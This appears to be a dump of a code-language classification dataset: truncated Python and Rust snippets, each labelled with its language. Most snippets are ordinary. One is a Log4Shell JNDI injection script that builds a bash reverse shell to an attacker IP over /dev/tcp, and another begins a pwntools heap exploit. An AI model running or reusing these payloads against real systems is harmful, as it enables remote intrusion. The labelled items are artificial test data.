text
string
label_name
string
labels
int64
ow, pd.Series) else low close_vals = close.values if isinstance(close, pd.Series) else close result = talib.ATR( high_vals.astype(float), low_vals.astype(float), close_vals.astype(float), timeperiod=timeperiod ) if isinsta...
Python
1
import tkinter as tk from tkinter import ttk from src.data_loader import DataLoader from src.data_preprocessor import preprocess_data from src.model import recommend_hotel # Load data data_loader = DataLoader() data = data_loader.load_data() # preprocess data processed_data = preprocess_data(data) def on_button_cl...
Python
1
GATIVE_Z_REPEAT_Y) { Vector3::new(increment, count * increment, increment) } else { Vector3::new(increment * count, increment, increment) }; faces.push(Face { color: normalize_color(color), tr...
Rust
0
kalorie5 = float(input("Zadej kalorie pátého jídla: ")) kalorie6 = float(input("Zadej kalorie šestého jídla: ")) kalorie7 = float(input("Zadej kalorie sedmého jídla: ")) kalorie8 = float(input("Zadej kalorie osmého jídla: ")) kalorie9 = float(input("Zadej kalorie devátého jídla: ")) ...
Python
1
"""log4j2 JNDI 注入""" import base64 import urllib.parse import requests # ATTACKER_HOSTNAME = "kali-attacker.mlab" ATTACKER_HOSTNAME = "192.168.56.162" VICTIM_HOSTNAME = "ubuntu-victim.mlab" shell_redirection = f"bash -i >& /dev/tcp/{ATTACKER_HOSTNAME}/7777 0>&1" shell_redirection_bytes = shell_redirection.encode("...
Python
1
ch_message._deep_replace( scan_spec__scan_tag__organisation__uuid=danish_botanists_organization.uuid)) record_metadata(caro_metadata_message._deep_replace( scan_tag__organisation__uuid=danish_botanists_organization.uuid)) assert DocumentReport.objects.count() == 1 ...
Python
1
_db, k)?, DbKey::SpentOutput(k) => lmdb_exists(&self.env, &self.stxos_db, k)?, DbKey::TransactionKernel(k) => lmdb_exists(&self.env, &self.kernels_db, k)?, DbKey::OrphanBlock(k) => lmdb_exists(&self.env, &self.orphans_db, k)?, }) } fn fetch_mmr_root(&self, tree: MmrT...
Rust
0
, headers={"Authorization": f"Bearer {tenant_token}"}, json={ "title": "Tenant Updated Title", "price": 120000 } ) assert response.status_code == 403 def test_delete_property(client, landlord_token, test_property): """Test deleting a property.""" respons...
Python
1
#!/usr/bin/env python3 """Targeted cleanup for the most spammy debug messages in PlanetZ.""" import re from pathlib import Path def clean_proximity_detector_spam(): """Clean up the very spammy debug messages in ProximityDetector3D.js.""" file_path = Path("frontend/static/js/ui/ProximityDetector3D.js") ...
Python
1
cies: continue groups = project_dependencies.get(name, []) collected.append(ListPackage(name, groups, "", candidate.version or "")) with environment.get_finder() as finder, ThreadPoolExecutor() as executor: for package in collected: executor.s...
Python
1
object /// pub fn new(pos: Vec3d) -> Mesh { Mesh { tris: Vec::new(), is_over: false, is_held: false, pos: pos, } } /// Form a cube and add set it to the Mesh. /// /// # Argumetns /// * `self` - The Mesh the function was called ...
Rust
0
.clear(); let mut lits_scan = VecMutScan::new(lits); let mut clause_is_true = false; // We move unassigned literals to the beginning to make sure we're going to watch unassigned // literals. while let Some(lit) = lits_scan.next() { match ctx.part(AssignmentP).lit_value(*lit) { ...
Rust
0
in_any or f_group_admin or f_group_admin_add_admins and participant.add_admins or f_group_admin_change_info and participant.change_info or f_group_admin_ban_users ...
Python
1
Formatted { sign: sign, parts: &parts[..1] } } FullDecoded::Zero => { if frac_digits > 0 { // [0.][0000] parts[0] = Part::Copy(b"0."); parts[1] = Part::Zero(frac_digits); Formatted { sign: sign, parts: &parts[..2] } } e...
Rust
0
choice at the first episode if i == 0: reward,probas = run_episode(bandits = bandits,model = model,epsilon = epsilon) # Updated probabilities at the following episodes else: reward,probas = run_episode(bandits = bandits,model = model,probas = probas) ...
Python
1
CrlfError, HeaderSize, NotProxyHdr, DecodeError, IPv4Required, UnsupportedVersion, } #[derive(Debug, Copy, Clone)] pub struct ConnectionTuple { pub from_ip: IpAddr, pub from_port: u16, pub to_ip: IpAddr, pub to_port: u16, } impl ConnectionTuple { fn new(from_ip: IpAddr, from_po...
Rust
0
scheduling_matrix = ( self._generate_dynamic_pyramid_scheduling_matrix( x.shape[0], 1, sigmas, scheduling_matrix, i + 1 ) ) start_frame += 1 i += 1 ...
Python
1
""" ml_workflow_manager.py Advanced ML workflow management for brain mapping toolkit. """ import numpy as np from sklearn.ensemble import RandomForestClassifier import shap class MLWorkflowManager: """Manage ML workflows for automated and custom analysis.""" def __init__(self, model_type: str = 'auto'): ...
Python
1
lass="linear-nav-item" onclick="alert('{item['label']} 클릭됨')"> {item['label']} </button> ''' menu_html += '</div>' st.markdown(menu_html, unsafe_allow_html=True) # 액션 버튼 (로그인/사인업) - 오른쪽 with action_c...
Python
1
from os import path import setuptools import re def read(fname): return open(path.join(path.dirname(__file__), fname), encoding="utf-8").read() metadata = dict( re.findall( r"""__([a-z]+)__ = "([^"]+)""", read("TwitchChannelPointsMiner/__init__.py") ) ) setuptools.setup( name="Twitch-Chann...
Python
1
return false; } } } !self.primary.is_lifetime_exceeded() } /// Return the previous node of a bundle should a Previous Node Block exist pub fn previous_node(&self) -> Option<&EndpointID> { let pnblock = self.extension_block_by_type(PREVIOUS_NODE_BLOCK)?; ...
Rust
0
= len(y_list) new_tower_dist = math.dist(self.center_point, coords) current_tower_dist = math.dist(self.center_point, tallest_coords) if tower_height > tallest_tower_height or tower_height == tallest_tower_height and current_tower_dist >= new_tower_dist: ...
Python
1
# Copyright 2021 Alibaba Group Holding Limited. All Rights Reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applica...
Python
1
from __future__ import annotations import dataclasses as dc import typing as t from dataclasses_json import DataClassJsonMixin # LEFT="⬅️" # RIGHT="➡️" _OCLOCK = ["🕛", "🕐", "🕑", "🕒", "🕓", "🕔", "🕕", "🕖", "🕗", "🕘", "🕙", "🕚"] _THIRTY = ["🕧", "🕜", "🕝", "🕞", "🕟", "🕠", "🕡", "🕢", "🕣", "🕤", "🕥", "🕦"...
Python
1
ule = FuseModule(2048) def forward(self, id_pixel_values, prompt_embeds, class_tokens_mask): b, num_inputs, c, h, w = id_pixel_values.shape id_pixel_values = id_pixel_values.view(b * num_inputs, c, h, w) shared_id_embeds = self.vision_model(id_pixel_values)[1] id_embeds = self.visu...
Python
1
", ) response = self.client.get( reverse('calcification:rate_table_download', args=[table.pk]), data=dict(source_id=self.source.pk), ) expected_lines = [ 'Name,Mean,Lower bound,Upper bound', # A isn't in the labelset # B is in...
Python
1
'name': obj_1.base_unit.name }, 'converted_amount': 100, 'converted_unit': { 'id': obj_1.converted_unit.id, 'name': obj_1.converted_unit.name } }, content_type='application/json') response = json.loads(r.content) assert r.s...
Python
1
utton: self.__review_brainmask() elif event.control == review_button: self.__review_tumor() elif event.control == reviewed_button: self.__finalize() self.__update_buttons() def __brain_has_been_reviewed(self): id, tp = self.subject.split("|") ...
Python
1
.repr() { InternedRepr::LocalIndexed(indexed) => &self.names[indexed.name_index as usize], InternedRepr::GlobalIndexed(indexed) => { self.global_names.unwrap()[indexed.name_index as usize].as_str() } InternedRepr::Inline(inline) => inline.as_str(), ...
Rust
0
ower() if confirm != 'yes': print("💡 operation cancelled") return # if only list the versions if args.list_versions: logger.info(f"🔍 query the version information of the dataset {args.id}...") versions = list_dataset_versions(args.id) if not version...
Python
1
# This file has to be run in pure Python mode! # Imports from the CO𝘕CEPT code from commons import * from snapshot import load import species plt = get_matplotlib().pyplot # Absolute path and name of this test this_dir = os.path.dirname(os.path.realpath(__file__)) this_test = os.path.basename(os.path.dirname(this_d...
Python
1
tf12ce nonlocal tq_9p8bmof2 pass '# knobs_fellows_pipe -> indication_competitions_side' wcikuvvha1v.llm18ei8bvq |= 0.0 del ppaws27fy4n b'' return import carpmgpir_g as uiuj6u_vmrc, mtwt0ihbsmd '# knobs_fellows_pipe -> indication_competitions_side' def ptk3y_xf8fy(qitt8d5xx8d: fdymnvd...
Python
1
import itertools import random def _iter_assignments_by_source_badge(treatment): assigned_ids = [set(u.id for u in aul) for aul in treatment.get_assigned_users()] for b in treatment.source_badges: current_assignment = [[] for i in range(len(assigned_ids))] unassigned = [] ...
Python
1
TreeType::Library { .. } => TypedParseTree::Library { all_nodes, namespace, }, TreeType::Contract => TypedParseTree::Contract { abi_entries, namespace, declarations, all_nodes, }, ...
Rust
0
def fix_shift_amount_list(shift_amount_list): # compatilibty for sahi v0.8.15 if isinstance(shift_amount_list[0], (int, float)): shift_amount_list = [shift_amount_list] return shift_amount_list def fix_full_shape_list(full_shape_list): # compatilibty for sahi v0.8.15 if full_shape_list is ...
Python
1
izer as _; use serde::Deserialize as _; let exe: Result<_, serde::de::value::Error> = Exe::deserialize($line.into_deserializer()); assert_eq!(exe.unwrap(), $parsed); }}; } macro_rules! eval_fails { ($line:literal, $env:expr) => {{ let ast = Commands::parse($line).unw...
Rust
0
#################################################################################################### # Copyright (c) 2016 - 2024, EPFL / Blue Brain Project # Author(s): Marwan Abdellah <marwan.abdellah@epfl.ch> # # This file is part of NeuroMorphoVis <https://github.com/BlueBrain/NeuroMorphoVis> # # This program is fre...
Python
1
# Número ID: 20290HUK # Status: Finalizado # Tarifa: R$8 p/ 2 horas # Entrada: 2024-07-12 20:23:00 # Saida: 13/07/2024 01:25 cartao1 = CartaoEstac("13/07/2024 08:15") cartao1.consultar_valor("13/07/2024 12:15") ## Consulta: # Hora: 13/07/2024 12:15 # Tarifa: R$4 # Valor por...
Python
1
if is_reversed: twiddles = bit_reverse_permutation(twiddles, log_2(domain_size)) return twiddles # Example usage if __name__ == "__main__": a = UniPolynomial([Fr(2), Fr(3), Fr(4), Fr(2)]) b = UniPolynomial([Fr(3), Fr(1), Fr(2), Fr(9)]) omega = Fr.nth_root_of_unity(4) c = a * b p...
Python
1
35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 67, 70, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 84, 85, 86, 87, 88, 89, 90] return x def xyxy2xywh(x): """xyxy左上角+右下角坐标 -> xywh中心点+宽高""" # Convert nx4 boxes from [x1...
Python
1
>, mode: na::DVector<f64>, force: Option<na::DVector<f64>>, } impl<const S: usize> Mode2Force<S> { /// Creates a new mode 2 forces instance for M1 segment #`S` /// /// The matrices are loaded from [bincode] files given by `path`. /// The root directory is given by...
Rust
0
col1, col2 = st.columns([3, 1]) with col1: position_management(binance_oms) with col2: account_info(binance_oms, market_type) # Pass market_type here # System messages with st.expander("📢 System Messages"): if st.button("Clear Logs"): binanc...
Python
1
None, dimensions=[] ) # "add_percent" will register the metric if not already present in metric cache, # include the "ModelName" and "Level" dimensions by default and emit it # Note: "ExamplePercentMetric" is not defined in "metrics.yaml" and will be auto-detected self.context.me...
Python
1
size { res.push(U32_LEN); res.extend_from_slice(&len.to_le_bytes()) } else { res.push(U64_LEN); res.extend_from_slice(&len.to_le_bytes()) } res } /// Returns len of binary data block. Returns 0 if end of file. /// Errors if file read error or unexpected file termination. pu...
Rust
0
secs(5)))?; let keys = r.keys::<&str, Vec<String>>(&self.redis_prefix)?; for key in keys { let clients_str = r.get::<String, String>(key)?; let stringfied_client = serde_json::from_str::<StringfiedEncodedClient>(&clients_str)?; encoded_clients.push(stringfied_client.t...
Rust
0
# Generated by Django 1.11.7 on 2017-12-13 11:41 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('scheduling', '0009_randomtimedevent'), ] operations = [ migrations.CreateModel( name='CaseProp...
Python
1
import pytest from openpyxl import Workbook from openpyxl.utils.exceptions import InvalidFileException import os import sys sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) from lib.column_utils.get_column_data import get_column_data_from_excel @pytest.fixture def sample_excel_file(tm...
Python
1
from abc import ABC, abstractmethod import requests import logging from pathlib import Path import time from config.settings import Config logger = logging.getLogger(__name__) class BaseCrawler(ABC): """所有爬虫的基类""" def __init__(self, pdf_base_url): self.pdf_base_url = pdf_base_url self.header...
Python
1
}; idx.insert("asdf", &info)?; assert_eq!(idx.get("asdf")?.unwrap(), info); idx.remove("asdf")?; assert!(idx.get("asdf")?.is_none()); Ok(()) } #[test] fn get_all_keys() -> Result<()> { let dir = tempfile::tempdir()?; let idx = Index::new(dir.path...
Rust
0
from gameui import Logger, ScriptSession from PySide2.QtWidgets import QGridLayout from PySide2.QtCore import QObject from utils.image import Image, Screen class ScriptBase(QObject): description =''' ''' def __init__(self,logger:Logger=None,layout:QGridLayout=None,session:ScriptSession=None,templates:Image=...
Python
1
lue_culong) -> i32 { let &mut OptionValue_culong { ref mut option_type, ref mut val } = unsafe { &mut *res }; match unsafe { (*btreemap).0.insert(key, value) } { Some(old) => { *option_type = Option_C::Some; *val = old; } None =>...
Rust
0
nt, player::Loc, time::ControlledTime, GameState, }; pub struct MapPlugin; impl Plugin for MapPlugin { fn build(&self, app: &mut App) { app.add_event::<TileInBoundsEvent>() .add_system_set(SystemSet::on_exit(GameState::Menu).with_system(spawn_map)) .add_system_set( S...
Rust
0
""" tfj run all3 --mem 1Gi --image python3.9 --command "$HOME/local/bin/python3 core8/pwb.py fix_sets/new_all" tfj run fiaa6 --mem 1Gi --image python3.9 --command "$HOME/local/bin/python3 core8/pwb.py fix_sets/new_all noapi nodudb get:6" tfj run fiaa4 --mem 1Gi --image python3.9 --command "$HOME/local/bin/python3 cor...
Python
1
::DotScreen; /// The address of the register on the DotDisplay chip. #[derive(Clone, Copy)] #[repr(u8)] enum RegisterAddress { Column1 = 0x1, Column2 = 0x2, Column3 = 0x3, Column4 = 0x4, Column5 = 0x5, Column6 = 0x6, Column7 = 0x7, Column8 = 0x8, Decode = 0x9, Intensity = 0xA, ...
Rust
0
1654782936638], [39, 681, 1654782936643], [37, 685, 1654782936650], [35, 690, 1654782936658], [34, 693, 1654782936665], [33, 696, 1654782936673], [31, 699, 1654782936680], [29, 703, 1654782936689], [27, 705, 1654782936696], [25, 708, 1654782936704], [23, 711, 1654782936713], [22, 714, 1654782936721], [20, 716, 16547829...
Python
1
"""class implements character-level convolutional 1D layer""" import torch import torch.nn as nn from src.layers.layer_base import LayerBase class LayerCharCNN(LayerBase): """LayerCharCNN implements character-level convolutional 1D layer.""" def __init__(self, gpu, char_embeddings_dim, filter_num, char_window_...
Python
1
ffect, writing 1 to this bit disables the interrupt number 4 (See EVENT:CPUIRQSEL4.EV for details). Reading the bit returns its current enable state."] #[inline] pub fn clrena4(&self) -> CLRENA4R { let bits = { const MASK: bool = true; const OFFSET: u8 = 4; ((self.bit...
Rust
0
import sys import warnings std_showwarning = warnings.showwarning def warn(*args, **kwds): """ Thin wrapper around warnings.warn to prepend **PNC: to warnings. This makes it easy to find PseudoNetCDF warnings. Arguments --------- args : arguments for warnings.warn kwds : keywords for...
Python
1
try(c_char('*')), try(c_char('%')), try(c_char('&')), try(c_char('|')), try(c_char('^')), ]).map(|c: char| c) } fn div_punct<I>() -> impl Parser<Input = I, Output = char> where I: Stream<Item = char>, I::Error: ParseError<I::Item, I::Range, I::Position>, { c_char('/').s...
Rust
0
f64 = volume::gallons::to_litres(0.67); assert_approx_eq!(3.04588, result, 0.01); } /// Need to convert to parameterized tests #[test] fn it_convert_knowngallons_to_kilolitres_1() { let result: f64 = volume::gallons::to_kilolitres(1009.0); assert_approx_eq!(4.587005, result, 0.01); } /// Need to convert ...
Rust
0
] fn parse2() { let xml = parse("<br/>").unwrap(); assert_eq!( unparse(&xml), "<br/>" ); } #[test] fn parse3() { let xml = parse("<div><NAME></div>").unwrap(); assert_eq!( unparse(&xml), "<div>dave david</div>" ); } #[test] fn parse4() { let xml = parse(r#"<div id="a"><b c...
Rust
0
return Ok(Value::Dict(dict)); }, Some(Ok(ev)) => unreachable!("ParseEvent {:?} occurred that cannot happen at this time.", ev), Some(Err(error)) => { return Err(error) }, None => unreachable!("EOF occurred th...
Rust
0
oauth_headers, build_params, build_query, TumblrClient}; const BLOG: &'static str = "https://api.tumblr.com/v2/blog/"; #[derive(Default)] pub struct GetBlogAvatarOptionalParams<'a> { size: Option<&'a str>, } impl<'a> GetBlogAvatarOptionalParams<'a> { pub fn new() -> GetBlogAvatarOptionalParams<'a> { ...
Rust
0
code_unit_verifier::CodeUnitVerifier; pub use resources::ResourceTransitiveChecker; pub use signature::SignatureChecker; pub use stack_usage_verifier::StackUsageVerifier; pub use struct_defs::RecursiveStructDefChecker; pub use verifier::{ batch_verify_modules, verify_main_signature, verify_module_dependencies, ...
Rust
0
"""analytics MCP tool (real MCP) - Uses openai-agents MCPServer - Usage: python analytics.py """ import asyncio, json, logging, os from websockets import serve from agents.mcp import MCPServer PORT = int(os.environ.get("PORT", 3005)) logging.basicConfig(level=logging.INFO) mcp = MCPServer("analytics-mcp") @mcp.tool(...
Python
1
et dst: Destination = Destination::new(host.parse::<IpAddr>().unwrap(), vec![]); host_scanner.add_destination(dst); } host_scanner.set_timeout(opt.timeout); host_scanner.set_wait_time(opt.wait_time); host_scanner.set_send_rate(opt.send_rate); print!("Scanning... "); ...
Rust
0
px * / / * x y * / \ --(左旋)--> / \ # * lx y x ry * / \ / \ * ly ry lx ly * * */...
Rust
0
NUM_SHAPES as usize] { use rand::{thread_rng, seq::SliceRandom}; let mut bag = [ Shape::F, Shape::I, Shape::L, Shape::N, Shape::P, Shape::T, Shape::U, Shape::V, Shape::W, Shape::...
Rust
0
vity API // --------------------- // Sent from lnpd to peerd #[display("get_info()")] GetInfo, #[display("ping_peer()")] PingPeer, // Channel creation API // -------------------- /// Initiates creation of a new channel by a local node. Sent from lnpd to a newly instantiated ///...
Rust
0
{ Vec2 { x: self.x, y: self.y } } /// Equal to `Vec2::new(vec.x, vec.z)`. pub fn xz(self) -> Vec2<T> { Vec2 { x: self.x, y: self.z } } /// Equal to `Vec2::new(vec.y, vec.z)`. pub fn yz(self) -> Vec2<T> { Vec2 { x: self.y, y: self.z } } } impl<T: Number> Vec4<T> { /// Equal to `Vec4::new(vec.x, vec....
Rust
0
class Solution: def superPow(self, a: int, b: List[int]) -> int: def powMod(x: int, y: int) -> int: pow = 1 for _ in range(y): pow = (pow * x) % k return pow k = 1337 ans = 1 for i in b: ans = powMod(ans, 10) * powMod(a, i) % k return ans
Python
1
import pygame class Settings: # General # FONT: str = 'PixelifySansFont/static/PixelifySans-Regular.ttf' BOLD_FONT: str = 'PixelifySansFont/static/PixelifySans-SemiBold.ttf' WHITE: tuple[int, int, int] = (255, 255, 255) PURPLE: tuple[int, int, int] = (98, 55, 160) WIDTH: int = 750 HEIGHT: int = 700 #...
Python
1
, EquipmentEffect::ModifiesMaxHealth(delta) => health += delta, _ => {} } } } } (dodge, armor, absorb, health) } fn collect_resource_modifier(ecs: &World) -> Vec<(AmmoKind, i32)> { let mut resources = HashMap::new(); let mut a...
Rust
0
::*; use crate::params::{AKE_SENDABYTES, AKE_SENDBBYTES}; pub fn init_a<R: RngCore + CryptoRng>( rng: &mut R, send: &mut [u8; AKE_SENDABYTES], tk: &mut [u8; SYMBYTES], sk: &mut [u8; SECRETKEYBYTES], pkb: &[u8; PUBLICKEYBYTES], ) { kem::keypair(rng, array_mut_...
Rust
0
password, country, timezone, created_at, updated_at, is_deleted FROM throwaway.profile WHERE email = $1 "#, email, ); return match query.fetch_one(&self.database).await { Ok(profile) => { self.cache_set(profile.clone()).await;...
Rust
0
<spBone>())).c as *const _ as usize }, 112usize, concat!("Offset of field: ", stringify!(spBone), "::", stringify!(c)) ); assert_eq!( unsafe { &(*(::std::ptr::null::<spBone>())).d as *const _ as usize }, 116usize, concat!("Offset of field: ", stringify!(spBone), "::", str...
Rust
0
mut wgpu::CommandEncoder) { Texture::blit(&self, src, dst, encoder); } } impl From<Framebuffer> for Texture { fn from(fb: Framebuffer) -> Self { fb.texture } } #[derive(Debug)] pub struct Sampler { wgpu: wgpu::Sampler, } impl Bind for Sampler { fn binding(&self, index: u32) -> wgp...
Rust
0
if (save_pred): print('saving predicted results in {}'.format(folder_path)) preds = np.concatenate(preds, axis = 0) trues = np.concatenate(trues, axis = 0) pasts = np.concatenate(pasts, axis = 0) print(preds.shape) np.save(folder_path +'pred....
Python
1
(!set.get(0)); } #[test] fn k() { let mut solid = pcon::solid::Solid::new(11); for cano in cocktail::tokenizer::Canonical::new(SEQ, 11) { solid.set(cano, true); } let set: crate::set::BoxKmerSet = Box::new(Pcon::new(solid)); assert_eq!(set.k(), 11); ...
Rust
0
# encoding=utf-8 from pwn import * """ void *sub_9AA() { void *result; // rax setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); result = malloc(0x50uLL); heap_list = (__int64)result; return result; } ssize_t edit() { int v1; // [rsp+Ch] [rbp-4h] write(1, "P...
Python
1
(0,1)),\ (\"battchg\",(0,5)\ )"; // TODO (fxbug.dev/72873): Replace with defined AT RING response. pub const RING_BYTES: &[u8] = b"RING"; /// An update from the AG. Each update contains all the information necessary to generate a list of /// AT responses. #[derive(Debug, Clone)] pub enum AgUpdate { /// HFP Featur...
Rust
0
temperature } } #[cortex_m_rt::entry] fn main() -> ! { let board = hal::pac::Peripherals::take().unwrap(); let pins = P0Parts::new(board.P0); //Buttom let mut button_1 = dk_button::Button::new(pins.p0_11.degrade()); //Timer let mut periodic_timer = Timer::periodic(board.TIMER0); l...
Rust
0
Viewport, }; fn main() { let size = Size::new(800, 600); let app = unsafe { init_app() }; let window = unsafe { init_window(&size) }; let scale_factor = unsafe { window.backingScaleFactor() }; let controls = Controls::new(); let viewport = Viewport::with_physical_size(size, scale_factor); ...
Rust
0
with_rng(&mut rng); let biscuit2 = biscuit1_deser .append_with_keypair(&keypair2, block2) .unwrap(); println!("biscuit2 (1 check): {}", biscuit2.print()); biscuit2.to_vec().unwrap() }; //println!("generated biscuit token 2: {} bytes\...
Rust
0
_info['보낸사람'] or mail_info['제목']:\n page_mails.append(mail_info)\n print(f\" 메일 {len(page_mails)}: {mail_info['보낸사람'][:15]} - {mail_info['제목'][:25]}...\")\n \n except Exception as e:\n ...
Python
1
init_state::Enabled, mrt::{ MRT0, MRT1, MRT2, MRT3, }, nb::{ self, block, }, pac::{ I2C0, SPI0, USART0, USART1, USART2, USART3, }, pinint::{ PININT0, PININT1, PININT2, ...
Rust
0
ngOption<'a>>, http: &'a Client, target_user: String, } impl<'a> GetUser<'a> { pub(crate) fn new(http: &'a Client, target_user: impl Into<String>) -> Self { Self { fut: None, http, target_user: target_user.into(), } } fn start(&mut self) -> Resul...
Rust
0
import pyttsx3 def text_to_speech(text): engine=pyttsx3.init() rate=engine.getProperty('rate') engine.setProperty('rate','rate-70') engine.say(text) engine.runAndWait() text_to_speech("hello my name is aurora")
Python
1
} let result = NodeHierarchy::try_from(&inspector).unwrap(); assert_eq!( result, NodeHierarchy { name: "root".to_string(), properties: vec![ Property::Int("int-root".to_string(), 3), Property::Doubl...
Rust
0
leton!(: u8 = std::mem::uninitialized()); /// } /// ``` #[allow(dead_code)] const CFAIL: () = (); /// ``` /// #![deny(unsafe_code)] /// use cortex_m::singleton; /// /// fn foo() { /// // check that calls to `singleton!` don't trip the `unsafe_code` lint /// singleton!(: u8 = 0); /// } /// ``` #[allow(dead_code...
Rust
0
# Copyright 2022 The AI Flow Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
Python
1
let mut movx:Vec<Vec<f64>> = matrix_process::eye(4); movx[0][3] = -(max_matrix.1).0; movx[1][3] = -(max_matrix.1).1; movx[2][3] = -(max_matrix.1).2; let mut movy:Vec<Vec<f64>> = matrix_process::eye(4); movy[0][3] = (max_matrix.2).0; movy[1][3] = (max_matrix.2).1; movy[2][3] = (max_matr...
Rust
0
#!/usr/bin/env python3 import z3 from handout import iv, ct def bitstr_to_bitvecvallist(s): return [z3.BitVecVal('01'.index(v), 1) for v in s] def bits_to_bitvecvallist(s): return [z3.BitVecVal(v, 1) for v in s] def bytes_to_bitstr(b): return ''.join(f'{x:08b}' for x in b) def bytes_to_bits(b): r...
Python
1
guild_owner && !is_bot_owner { ctx.say("Can only be used by server owner").await?; return Ok(()); } ctx.say(format!("Registering {} commands...", commands.len())) .await?; guild .set_application_commands(ctx.discord(), |b| { *b = c...
Rust
0
64; let resize_pixels = width as f64 * height as f64; let resize_level = (resize_pixels / 5_000_000f64).sqrt(); let m; let n = if origin_pixels >= resize_pixels { m = origin_pixels; resize_pixels } else { m = resize_pixels; origin_...
Rust
0
# Copyright 2020 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
Python
1
} } } impl ToType<bool> for ArgValue { fn parse(&self) -> bool { match self { Self::None => true, Self::One(val) => bool::from_str(val).unwrap(), Self::Many(_) => panic!(), } } fn parse_option(val: Option<&Self>) -> Option<bool> { match val {...
Rust
0
() ); } } /* This file is part of bacon. * Copyright (c) <NAME>. * * See repository LICENSE for information. */ mod adams; mod bdf; mod euler; mod rk; use crate::ivp::solve_ivp; use nalgebra::{VectorN, U1, U2}; fn exp_deriv(_: f64, y: &[f64], _: &mut ()) -> Result<VectorN<f64, U1>, String> { Ok(V...
Rust
0
keys[index]) assert len(label_names) == len(y_keys[index]) for i in range(len(y_keys[index])): color = COLORS[i] marker = MARKERS[i] if label_names[i] in ["CLBlast", "CLBlast FP32"]: color = BLUEISH marker = ...
Python
1
password =input('enter a number') validate ={'upper':False','lower':False ,'number':False ,'char':False } if len(password)>=8 for char in password: if 'A'<=char <= 'z': validate['upper']=True elif 'a' <=char <= 'z': validate['lower']=True elif '0' <=char < '9': validate[...
Python
1